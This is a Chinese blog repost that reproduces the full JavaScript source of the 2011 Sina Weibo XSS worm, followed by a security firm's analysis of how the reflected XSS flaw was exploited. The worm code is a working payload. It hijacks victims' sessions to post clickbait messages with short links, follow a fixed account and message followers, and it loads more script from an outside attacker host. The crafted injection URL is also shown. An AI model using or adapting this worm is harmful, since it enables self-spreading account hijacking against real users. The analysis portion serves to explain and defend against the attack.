新浪微博之XSS蠕虫脚本源码讲解
主要是因為新浪的廣場頁面有幾個鏈接對輸入?yún)?shù)過濾不嚴(yán)導(dǎo)致的反射性XSS。
========================================
微博XSS漏洞點
weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.****.com/images/t.js%3e%3c/script%3e?type=update
微博XSS腳本內(nèi)容(XSS源碼)
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id.toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的細(xì)節(jié):',
'建黨大業(yè)中穿幫的地方:',
'讓女人心動的100句詩歌:',
'3D肉團團高清普通話版種子:',
'這是傳說中的神仙眷侶啊:',
'驚爆!范冰冰艷照真流出了:',
'楊冪被爆多次被潛規(guī)則:',
'傻仔拿錘子去搶銀行:',
'可以監(jiān)聽別人手機的軟件:',
'個稅起征點有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); "發(fā)送微博"
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); "加關(guān)注"
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; "給粉絲發(fā)私信"
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
?
?
Nevel安全專家:新浪微博”中毒”分析報告
?
事件的經(jīng)過
新浪微博6月28日晚出現(xiàn)大范圍”中毒”現(xiàn)象,大量用戶自動發(fā)送”建黨大業(yè)中穿幫的地方”,“個稅起征點有望提到4000”,“郭美美事件的一些未注意到的細(xì)節(jié)”等帶鏈接的微博與私信,并自動關(guān)注一位名為hellosamy的用戶。
此前利用XSS漏洞傳播蠕蟲的案列在社交網(wǎng)站中曾多次發(fā)生,Facebook,Twitter,以及QQ空間,百度空間等都出現(xiàn)過類似的情況。此次新浪 微博”中毒”,立刻引起了Nevel公司安全團隊的重視。新浪官方早在第一時間就檢測到該病毒,并對漏洞進行了修補,病毒的存活時間不到半個小時,其實 XSS中毒現(xiàn)象也并不像傳統(tǒng)意義上的中毒,僅僅存活在服務(wù)器上,它基本不會對用戶電腦造成很大威脅,但會利用用戶在新浪微博上的會話權(quán)限進行微博發(fā)布、關(guān) 注等操作,同時該漏洞也無法獲取到用戶的密碼信息,用戶不需要有太多的擔(dān)憂。
分析報告:
下面我們來一起分析下該漏洞的成因:從PAYLOAD上來看,實際上屬于一個反射弧性的XSS攻擊,
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
URlDecode:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
攻擊者利用微博廣播廣場頁面http://weibo.com/pub/star的一個URL注入了js腳本,那么這個腳本攻擊者是怎么注入進去的(新 浪漏洞已修補),我們其實可以根據(jù)現(xiàn)象去分析,對于蠕蟲攻擊,受攻擊者的頁面應(yīng)該也都會發(fā)布帶有攻擊性的JS內(nèi)容,我們可以發(fā)現(xiàn)所有被攻擊的用戶微博上都 會發(fā)布一條短連接信息,因此我們可以初步斷定問題發(fā)生在短連接處,筆者利用自己的微博,嘗試發(fā)布一條帶有短連接形式的微博,直接發(fā)布一條含有URL的微 博,如下圖:
發(fā)布完成后我們查看下網(wǎng)頁源代碼,如下圖:
很顯然真實的地址會被寫入到action-data的屬性中去,因此不難想象漏洞產(chǎn)生原因,由于action-data的值沒有進行合適的過濾,導(dǎo)致攻擊者可以輸入畸形的數(shù)據(jù)插入JS腳本,閉合前面的雙引號和尖括號,從而造成XSS攻擊。
構(gòu)造Xss_Exploit如下:
http://weibo.com/pub/star/g/xyyyd"> ?type=update
注:
//www.2kt.cn/images/t.js是一種合法的協(xié)議寫法,與http://www.2kt.cn/images/t.js效果一樣。
完整模擬攻擊者的攻擊手段:
1 首先將攻擊腳本存放在www.2kt.cn服務(wù)器上
2 建立惡意用戶,利用構(gòu)造的XSS_Exploit發(fā)布微博消息
3 通過發(fā)布吸引力強的熱門的話題讓有影響力的人訪問,中招者自動發(fā)微博并進行傳播
在攻擊過程中,攻擊者多次利用短連接將真實的URL進行轉(zhuǎn)換,讓一般用戶不易發(fā)現(xiàn),以便更好地延長蠕蟲的存活時間,短連接在提供簡短易記的同時,也帶來了一些新的安全問題,攻擊者可以利用這些短連接隱藏實際攻擊URL來進行攻擊.
轉(zhuǎn)載于:https://www.cnblogs.com/milantgh/p/3655023.html
總結(jié)
以上是生活随笔為你收集整理的新浪微博之XSS蠕虫脚本源码讲解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux静默安装oracle
- 下一篇: poj3311 经典tsp问题